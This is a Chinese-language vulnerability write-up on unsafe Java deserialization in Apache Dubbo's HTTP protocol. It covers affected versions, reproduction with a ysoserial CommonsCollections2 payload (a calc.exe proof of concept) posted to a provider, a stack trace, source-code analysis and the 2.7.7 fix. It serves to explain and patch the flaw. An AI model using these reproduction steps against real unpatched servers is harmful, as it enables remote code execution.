Apache Dubbo 反序列化漏洞
早在2019年开发者社区就有谈到这个 http 协议漏洞问题,近期360灵腾安全实验室判断漏洞等级为高,利用难度低,威胁程度高。建议升级 dubbo 版本,避免遭受黑客攻击。
漏洞描述
Unsafe deserialization occurs within a Dubbo application which has HTTP remoting enabled. An attacker may submit a POST request with a Java object in it to completely compromise a Provider instance of Apache Dubbo, if this instance enables HTTP.
简单的说,就是HTTP remoting 开启的时候,存在反序列化漏洞。Apache Dubbo在接受来自消费者的远程调用请求的时候存在一个不安全的反序列化行为,最终导致了远程任意代码执行。
影响版本:
Dubbo 2.7.0 to 2.7.6 Dubbo 2.6.0 to 2.6.7 Dubbo all 2.5.x versions
漏洞复现
- 创建一个 Dubbo 服务提供者代码。暴出的漏洞是 http 协议的,故使用 http 的 demo 来重现
<dubbo:protocol name="http" port="8080" server="tomcat" />
注:可自己简单写一个,也可官网下载 demo
dubbo 版本改成 2.7.5 之前的版本,比如:2.7.3. 在项目 pom 中添加 commons-collections4 依赖(测试漏洞用,主要用于反序列化)
<dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency>
启动服务,可以看大 dubboadmin上有个服务注册了
- 下载反序列化工具 ysoserial 利用漏洞执行 相关服务器上的命令,例如这里是启动计算器, ysoserial可以随意生成一个序列化文件,如下:
生成漏洞代码保存到 payload.ser 中:(可以调用 windows 的计算器程序)
java -jar ysoserial-0.0.5.jar CommonsCollections2 "calc.exe" > payload.ser
- 调用 provider
这里使用的是 postman 发包,也可使用 burp 发包。
发数据包的时候选择上一步生成的进制文件 payload.ser,会发现
demo 执行报错如下:
java.lang.NullPointerException at com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet.postInitialization(Unknown Source) at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(Unknown Source) at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(Unknown Source) at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source) at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source) at java.lang.reflect.Method.invoke(Unknown Source) at org.apache.commons.collections4.functors.InvokerTransformer.transform(InvokerTransformer.java:129) at org.apache.commons.collections4.comparators.TransformingComparator.compare(TransformingComparator.java:81) at java.util.PriorityQueue.siftDownUsingComparator(Unknown Source) at java.util.PriorityQueue.siftDown(Unknown Source) at java.util.PriorityQueue.heapify(Unknown Source) at java.util.PriorityQueue.readObject(Unknown Source) at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source) at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source) at java.lang.reflect.Method.invoke(Unknown Source) at java.io.ObjectStreamClass.invokeReadObject(Unknown Source) at java.io.ObjectInputStream.readSerialData(Unknown Source) at java.io.ObjectInputStream.readOrdinaryObject(Unknown Source) at java.io.ObjectInputStream.readObject0(Unknown Source) at java.io.ObjectInputStream.readObject(Unknown Source) at org.springframework.remoting.rmi.RemoteInvocationSerializingExporter.doReadRemoteInvocation(RemoteInvocationSerializingExporter.java:144) at org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter.readRemoteInvocation(HttpInvokerServiceExporter.java:121) at org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter.readRemoteInvocation(HttpInvokerServiceExporter.java:100) at org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter.handleRequest(HttpInvokerServiceExporter.java:79) at org.apache.dubbo.rpc.protocol.http.HttpProtocol$InternalHandler.handle(HttpProtocol.java:216) at org.apache.dubbo.remoting.http.servlet.DispatcherServlet.service(DispatcherServlet.java:61) at javax.servlet.http.HttpServlet.service(HttpServlet.java:790)
漏洞原因
dubbo 在进行 HTTP 协议进行数据传输时,使用的时 Java 序列化。使用 wireshark 抓包可以看到 ,从 ContentType: application/x-java-serialized-object 和报文 Body 部分的 ASCII 码可以看出,使用的是 Java Serialize 序列化。如果伪造了一个序列号的对象进入请求数据报文,然后伪造对象被反序列化出来后执行了,就造成了侵入,形成漏洞。
看 2.5.10 HttpProtocol 的 handle 方法实现
private class InternalHandler implements HttpHandler { public void handle(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException { String uri = request.getRequestURI(); HttpInvokerServiceExporter skeleton = skeletonMap.get(uri); if (!request.getMethod().equalsIgnoreCase("POST")) { response.setStatus(500); } else { RpcContext.getContext().setRemoteAddress(request.getRemoteAddr(), request.getRemotePort()); try { skeleton.handleRequest(request, response); } catch (Throwable e) { throw new ServletException(e); } } } }
原因是使用的是 spring httpinvoker 功能 HttpInvokerServiceExporter
spring httpinvoker 做了风险提示:
大致意思是,由于不安全的 Java 反序列化而导致的漏洞:操纵输入流可能会在反序列化步骤中导致服务器上不必须的代码执行。
继续查看 skeleton.handleRequest(request, response); 的实现。
public void handleRequest(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { try { RemoteInvocation invocation = readRemoteInvocation(request); RemoteInvocationResult result = invokeAndCreateResult(invocation, getProxy()); writeRemoteInvocationResult(request, response, result); } catch (ClassNotFoundException ex) { throw new NestedServletException("Class not found during deserialization", ex); } } protected RemoteInvocation readRemoteInvocation(HttpServletRequest request, InputStream is) throws IOException, ClassNotFoundException { ObjectInputStream ois = createObjectInputStream(decorateInputStream(request, is)); try { return doReadRemoteInvocation(ois); } finally { ois.close(); } } protected RemoteInvocation doReadRemoteInvocation(ObjectInputStream ois) throws IOException, ClassNotFoundException { // 1. 恶意对象在此被反序列化,漏洞触发 Object obj = ois.readObject(); if (!(obj instanceof RemoteInvocation)) { throw new RemoteException("Deserialized object needs to be assignable to type [" + RemoteInvocation.class.getName() + "]: " + ClassUtils.getDescriptiveType(obj)); } return (RemoteInvocation) obj; }
ois.readObject(); 读取数据全程过程中没有做任何的检查和过滤,直接使用的是readObject 方法直接反序列化 ,这个过程在如果没有校验和过滤,导致如果传入了序列化对象可以被反序列对象创建,漏洞就触发了。
漏洞解决
避免实现反序列化,对请求报文不进行反序列化处理。
看下 dubbo 2.7.7 之后的 HttpPrptocol 实现。
private class InternalHandler implements HttpHandler { private boolean cors; public InternalHandler(boolean cors) { this.cors = cors; } @Override public void handle(HttpServletRequest request, HttpServletResponse response) throws ServletException { String uri = request.getRequestURI(); JsonRpcServer skeleton = skeletonMap.get(uri); if (cors) { response.setHeader(ACCESS_CONTROL_ALLOW_ORIGIN_HEADER, "*"); response.setHeader(ACCESS_CONTROL_ALLOW_METHODS_HEADER, "POST"); response.setHeader(ACCESS_CONTROL_ALLOW_HEADERS_HEADER, "*"); } if (request.getMethod().equalsIgnoreCase("OPTIONS")) { response.setStatus(200); } else if (request.getMethod().equalsIgnoreCase("POST")) { RpcContext.getContext().setRemoteAddress(request.getRemoteAddr(), request.getRemotePort()); try { skeleton.handle(request.getInputStream(), response.getOutputStream()); } catch (Throwable e) { throw new ServletException(e); } } else { response.setStatus(500); } } } public void handle(ResourceRequest request, ResourceResponse response) throws IOException { if (LOGGER.isLoggable(Level.FINE)) { LOGGER.log(Level.FINE, "Handing ResourceRequest "+request.getMethod()); } // set response type response.setContentType(JSONRPC_RESPONSE_CONTENT_TYPE); // setup streams InputStream input = null; OutputStream output = response.getPortletOutputStream(); // POST if (request.getMethod().equals("POST")) { input = request.getPortletInputStream(); // GET } else if (request.getMethod().equals("GET")) { input = createInputStream( request.getParameter("method"), request.getParameter("id"), request.getParameter("params")); // invalid request } else { throw new IOException( "Invalid request method, only POST and GET is supported"); } // service the request handle(input, output); //fix to not flush within handle() but outside so http status code can be set output.flush(); }
看下 handle 怎么处理的 使用的是 JsonRpcServer 的 handle 方法
public int handle(InputStream ips, OutputStream ops) throws IOException { // get node iterator ReadContext ctx = ReadContext.getReadContext(ips, mapper); // prcess JsonNode jsonNode = null; try { ctx.assertReadable(); jsonNode = ctx.nextValue(); } catch (JsonParseException e) { writeAndFlushValue(ops, createErrorResponse( "jsonrpc", "null", -32700, "Parse error", null)); return -32700; } return handleNode(jsonNode, ops); }
JsonRpcServer 类的 handle 方法处理之后,request.getInputStream() 没有再被反序列化,被篡改的序列化对象,无法被反序列化,这样漏洞就失效了。